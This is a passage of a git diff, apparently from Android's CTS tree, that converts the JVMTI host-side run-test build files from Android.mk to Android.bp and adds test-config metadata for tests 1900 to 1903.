+    sdk_version: "test_current",
+}
diff --git a/hostsidetests/jvmti/run-tests/Android.mk b/hostsidetests/jvmti/run-tests/Android.mk
deleted file mode 100644
index 3628877..0000000
--- a/hostsidetests/jvmti/run-tests/Android.mk
+++ /dev/null
@@ -1,275 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-include $(CLEAR_VARS)
-
-# shim classes. We use one that exposes the common functionality.
-LOCAL_SHIM_CLASSES := \
-  src/902-hello-transformation/src/art/Redefinition.java \
-  src/903-hello-tagging/src/art/Main.java \
-  src/989-method-trace-throw/src/art/Trace.java \
-  src/993-breakpoints/src/art/Breakpoint.java \
-  src/1902-suspend/src/art/Suspension.java \
-  src/1911-get-local-var-table/src/art/Locals.java \
-  src/1912-get-set-local-primitive/src/art/StackTrace.java \
-  src/1923-frame-pop/src/art/FramePop.java \
-  src/1927-exception-event/src/art/Exceptions.java \
-  src/1930-monitor-info/src/art/Monitors.java \
-  src/1934-jvmti-signal-thread/src/art/Threads.java \
-
-LOCAL_SRC_FILES := $(LOCAL_SHIM_CLASSES)
-
-# Actual test classes.
-LOCAL_SRC_FILES += \
-  src/901-hello-ti-agent/src/art/Test901.java \
-  src/902-hello-transformation/src/art/Test902.java \
-  src/903-hello-tagging/src/art/Test903.java \
-  src/904-object-allocation/src/art/Test904.java \
-  src/905-object-free/src/art/Test905.java \
-  src/906-iterate-heap/src/art/Test906.java \
-  src/907-get-loaded-classes/src/art/Test907.java \
-    src/907-get-loaded-classes/src/art/Cerr.java \
-  src/908-gc-start-finish/src/art/Test908.java \
-  src/910-methods/src/art/Test910.java \
-  src/911-get-stack-trace/src/art/Test911.java \
-    src/911-get-stack-trace/src/art/AllTraces.java \
-    src/911-get-stack-trace/src/art/ControlData.java \
-    src/911-get-stack-trace/src/art/Frames.java \
-    src/911-get-stack-trace/src/art/OtherThread.java \
-    src/911-get-stack-trace/src/art/PrintThread.java \
-    src/911-get-stack-trace/src/art/Recurse.java \
-    src/911-get-stack-trace/src/art/SameThread.java \
-    src/911-get-stack-trace/src/art/ThreadListTraces.java \
-  src/912-classes/src-art/art/Test912.java \
-    src/912-classes/src-art/art/DexData.java \
-  src/913-heaps/src/art/Test913.java \
-  src/914-hello-obsolescence/src/art/Test914.java \
-  src/915-obsolete-2/src/art/Test915.java \
-  src/917-fields-transformation/src/art/Test917.java \
-  src/918-fields/src/art/Test918.java \
-  src/919-obsolete-fields/src/art/Test919.java \
-  src/920-objects/src/art/Test920.java \
-  src/922-properties/src/art/Test922.java \
-  src/923-monitors/src/art/Test923.java \
-  src/924-threads/src/art/Test924.java \
-  src/925-threadgroups/src/art/Test925.java \
-  src/926-multi-obsolescence/src/art/Test926.java \
-  src/927-timers/src/art/Test927.java \
-  src/928-jni-table/src/art/Test928.java \
-  src/930-hello-retransform/src/art/Test930.java \
-  src/931-agent-thread/src/art/Test931.java \
-  src/932-transform-saves/src/art/Test932.java \
-  src/933-misc-events/src/art/Test933.java \
-  src/940-recursive-obsolete/src/art/Test940.java \
-  src/942-private-recursive/src/art/Test942.java \
-  src/944-transform-classloaders/src/art/Test944.java \
-  src/945-obsolete-native/src/art/Test945.java \
-  src/947-reflect-method/src/art/Test947.java \
-  src/951-threaded-obsolete/src/art/Test951.java \
-  src/982-ok-no-retransform/src/art/Test982.java \
-  src/983-source-transform-verify/src/art/Test983.java \
-  src/984-obsolete-invoke/src/art/Test984.java \
-  src/985-re-obsolete/src/art/Test985.java \
-  src/986-native-method-bind/src/art/Test986.java \
-  src/988-method-trace/src/art/Test988.java \
-    src/988-method-trace/src/art/Test988Intrinsics.java \
-  src/989-method-trace-throw/src/art/Test989.java \
-  src/990-field-trace/src/art/Test990.java \
-  src/991-field-trace-2/src/art/Test991.java \
-  src/992-source-data/src/art/Test992.java \
-    src/992-source-data/src/art/Target2.java \
-  src/993-breakpoints/src/art/Test993.java \
-  src/994-breakpoint-line/src/art/Test994.java \
-  src/995-breakpoints-throw/src/art/Test995.java \
-  src/996-breakpoint-obsolete/src/art/Test996.java \
-  src/997-single-step/src/art/Test997.java \
-  src/1900-track-alloc/src/art/Test1900.java \
-  src/1901-get-bytecodes/src/art/Test1901.java \
-  src/1902-suspend/src/art/Test1902.java \
-  src/1903-suspend-self/src/art/Test1903.java \
-  src/1904-double-suspend/src/art/Test1904.java \
-  src/1906-suspend-list-me-first/src/art/Test1906.java \
-  src/1907-suspend-list-self-twice/src/art/Test1907.java \
-  src/1908-suspend-native-resume-self/src/art/Test1908.java \
-  src/1909-per-agent-tls/src/art/Test1909.java \
-  src/1910-transform-with-default/src/art/Test1910.java \
-  src/1911-get-local-var-table/src/art/Test1911.java \
-  src/1912-get-set-local-primitive/src/art/Test1912.java \
-  src/1913-get-set-local-objects/src/art/Test1913.java \
-  src/1914-get-local-instance/src/art/Test1914.java \
-  src/1915-get-set-local-current-thread/src/art/Test1915.java \
-  src/1916-get-set-current-frame/src/art/Test1916.java \
-  src/1917-get-stack-frame/src/art/Test1917.java \
-  src/1920-suspend-native-monitor/src/art/Test1920.java \
-  src/1921-suspend-native-recursive-monitor/src/art/Test1921.java \
-  src/1922-owned-monitors-info/src/art/Test1922.java \
-  src/1923-frame-pop/src/art/Test1923.java \
-  src/1924-frame-pop-toggle/src/art/Test1924.java \
-  src/1925-self-frame-pop/src/art/Test1925.java \
-  src/1926-missed-frame-pop/src/art/Test1926.java \
-  src/1927-exception-event/src/art/Test1927.java \
-  src/1928-exception-event-exception/src/art/Test1928.java \
-  src/1930-monitor-info/src/art/Test1930.java \
-  src/1931-monitor-events/src/art/Test1931.java \
-  src/1932-monitor-events-misc/src/art/Test1932.java \
-  src/1933-monitor-current-contended/src/art/Test1933.java \
-  src/1934-jvmti-signal-thread/src/art/Test1934.java \
-  src/1936-thread-end-events/src/art/Test1936.java \
-  src/1937-transform-soft-fail/src/art/Test1937.java \
-  src/1939-proxy-frames/src/art/Test1939.java \
-  src/1941-dispose-stress/src/art/Test1941.java \
-  src/1942-suspend-raw-monitor-exit/src/art/Test1942.java \
-  src/1943-suspend-raw-monitor-wait/src/art/Test1943.java \
-
-JVMTI_RUN_TEST_GENERATED_NUMBERS := \
-  901 \
-  902 \
-  903 \
-  904 \
-  905 \
-  906 \
-  907 \
-  908 \
-  910 \
-  911 \
-  912 \
-  913 \
-  914 \
-  915 \
-  917 \
-  918 \
-  919 \
-  920 \
-  922 \
-  923 \
-  924 \
-  925 \
-  926 \
-  927 \
-  928 \
-  930 \
-  931 \
-  932 \
-  933 \
-  940 \
-  942 \
-  944 \
-  945 \
-  947 \
-  951 \
-  982 \
-  983 \
-  984 \
-  985 \
-  986 \
-  988 \
-  989 \
-  990 \
-  991 \
-  992 \
-  993 \
-  994 \
-  995 \
-  996 \
-  997 \
-  1900 \
-  1901 \
-  1902 \
-  1903 \
-  1904 \
-  1906 \
-  1907 \
-  1908 \
-  1909 \
-  1910 \
-  1911 \
-  1912 \
-  1913 \
-  1914 \
-  1915 \
-  1916 \
-  1917 \
-  1920 \
-  1921 \
-  1922 \
-  1923 \
-  1924 \
-  1925 \
-  1926 \
-  1927 \
-  1928 \
-  1930 \
-  1931 \
-  1932 \
-  1933 \
-  1934 \
-  1936 \
-  1937 \
-  1939 \
-  1941 \
-  1942 \
-  1943 \
-
-# Try to enforce that the directories correspond to the Java files we pull in.
-JVMTI_RUN_TEST_DIR_CHECK := $(sort $(foreach DIR,$(addprefix src/,$(JVMTI_RUN_TEST_GENERATED_NUMBERS)), \
-  $(filter $(DIR)%,$(LOCAL_SRC_FILES))))
-ifneq ($(sort $(LOCAL_SRC_FILES)),$(JVMTI_RUN_TEST_DIR_CHECK))
-  $(error Missing file, compare $(sort $(LOCAL_SRC_FILES)) with $(JVMTI_RUN_TEST_DIR_CHECK))
-endif
-
-LOCAL_MODULE_CLASS := JAVA_LIBRARIES
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-LOCAL_MODULE := run-test-jvmti-java
-
-GENERATED_SRC_DIR := $(call local-generated-sources-dir)
-JVMTI_RUN_TEST_GENERATED_FILES := \
-  $(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),$(GENERATED_SRC_DIR)/results.$(NR).expected.txt)
-
-define GEN_JVMTI_RUN_TEST_GENERATED_FILE
-
-GEN_INPUT := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected.txt)
-ifeq (true,$(ANDROID_COMPILE_WITH_JACK))
-GEN_EXTRA_DIFF := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_jack.diff)
-else ifeq (true,$(USE_D8))
-GEN_EXTRA_DIFF := $(wildcard $(LOCAL_PATH)/src/$(1)*/expected_d8.diff)
-else
-GEN_EXTRA_DIFF :=
-endif
-
-GEN_OUTPUT := $(GENERATED_SRC_DIR)/results.$(1).expected.txt
-$$(GEN_OUTPUT): PRIVATE_GEN_EXTRA_DIFF := $$(GEN_EXTRA_DIFF)
-$$(GEN_OUTPUT): $$(GEN_INPUT) $$(GEN_EXTRA_DIFF)
-	cp $$< $$@
-ifneq (,$$(GEN_EXTRA_DIFF))
-	(cd $$(dir $$@) && patch $$(notdir $$@)) < $$(PRIVATE_GEN_EXTRA_DIFF)
-endif
-
-GEN_INPUT :=
-GEN_OUTPUT :=
-
-endef
-
-$(foreach NR,$(JVMTI_RUN_TEST_GENERATED_NUMBERS),\
-  $(eval $(call GEN_JVMTI_RUN_TEST_GENERATED_FILE,$(NR))))
-LOCAL_JAVA_RESOURCE_FILES := $(JVMTI_RUN_TEST_GENERATED_FILES)
-
-# Avoid linking against any @hide APIs.
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_JAVA_LIBRARY)
-
-include $(CLEAR_VARS)
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/jvmti/run-tests/OWNERS b/hostsidetests/jvmti/run-tests/OWNERS
new file mode 100644
index 0000000..33082e9
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+allight@google.com
diff --git a/hostsidetests/jvmti/run-tests/src b/hostsidetests/jvmti/run-tests/src
deleted file mode 120000
index 0291142..0000000
--- a/hostsidetests/jvmti/run-tests/src
+++ /dev/null
@@ -1 +0,0 @@
-../../../../art/test
\ No newline at end of file
diff --git a/hostsidetests/jvmti/run-tests/test-1900/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
new file mode 100644
index 0000000..13f8765
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1900/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1900HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1900DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1900/Android.mk b/hostsidetests/jvmti/run-tests/test-1900/Android.mk
deleted file mode 100644
index 9a5ce4d..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1900HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
index c042f22..b6f221d 100644
--- a/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1900/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
new file mode 100644
index 0000000..7f66aa6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1900/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1900DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1900/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1900/app/Android.mk
deleted file mode 100644
index 652bdd6..0000000
--- a/hostsidetests/jvmti/run-tests/test-1900/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1900DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1901/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
new file mode 100644
index 0000000..2c7c6a6
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1901/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1901HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1901DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1901/Android.mk b/hostsidetests/jvmti/run-tests/test-1901/Android.mk
deleted file mode 100644
index 5a9a15a..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1901HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
index 2ad6ce1..40e788a 100644
--- a/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1901/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
new file mode 100644
index 0000000..30362dc
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1901/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1901DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1901/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1901/app/Android.mk
deleted file mode 100644
index 341017e..0000000
--- a/hostsidetests/jvmti/run-tests/test-1901/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1901DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1902/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
new file mode 100644
index 0000000..3683e58
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1902/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1902HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1902DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1902/Android.mk b/hostsidetests/jvmti/run-tests/test-1902/Android.mk
deleted file mode 100644
index 6801941..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1902HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
index 9144779..00861dc 100644
--- a/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1902/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
new file mode 100644
index 0000000..b4c7e96
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1902/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsJvmtiRunTest1902DeviceApp",
+    defaults: ["cts-run-jvmti-defaults"],
+    manifest: "AndroidManifest.xml",
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1902/app/Android.mk b/hostsidetests/jvmti/run-tests/test-1902/app/Android.mk
deleted file mode 100644
index 6c33fb1..0000000
--- a/hostsidetests/jvmti/run-tests/test-1902/app/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-LOCAL_DEX_PREOPT := false
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_SRC_FILES :=
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_STATIC_JAVA_LIBRARIES := CtsJvmtiDeviceRunTestAppBase
-LOCAL_JNI_SHARED_LIBRARIES := libctsjvmtiagent
-LOCAL_MULTILIB := both
-LOCAL_SDK_VERSION := current
-
-# TODO: Refactor. This is the only thing every changing.
-LOCAL_PACKAGE_NAME := CtsJvmtiRunTest1902DeviceApp
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/jvmti/run-tests/test-1903/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
new file mode 100644
index 0000000..cb8470f
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1903/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsJvmtiRunTest1903HostTestCases",
+    static_libs: ["CtsJvmtiHostTestBase"],
+    jarjar_rules: "jarjar-rules.txt",
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    data: [":CtsJvmtiRunTest1903DeviceApp"],
+}
diff --git a/hostsidetests/jvmti/run-tests/test-1903/Android.mk b/hostsidetests/jvmti/run-tests/test-1903/Android.mk
deleted file mode 100644
index 1905fe6..0000000
--- a/hostsidetests/jvmti/run-tests/test-1903/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE := CtsJvmtiRunTest1903HostTestCases
-
-include $(LOCAL_PATH)/../../host_side.mk
diff --git a/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml b/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
index 6aeb66c..45bfca2 100644
--- a/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
+++ b/hostsidetests/jvmti/run-tests/test-1903/AndroidTest.xml
@@ -15,6 +15,9 @@
 -->
 <configuration description="Config for CTS JVMTI test cases">
     <option name="test-suite-tag" value="cts"/>
+    <!-- Requires debuggable -->
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="component" value="art" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
new file mode 100644
index 0000000..b2a9211
--- /dev/null
+++ b/hostsidetests/jvmti/run-tests/test-1903/app/Android.bp
@@ -0,0 +1,19 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
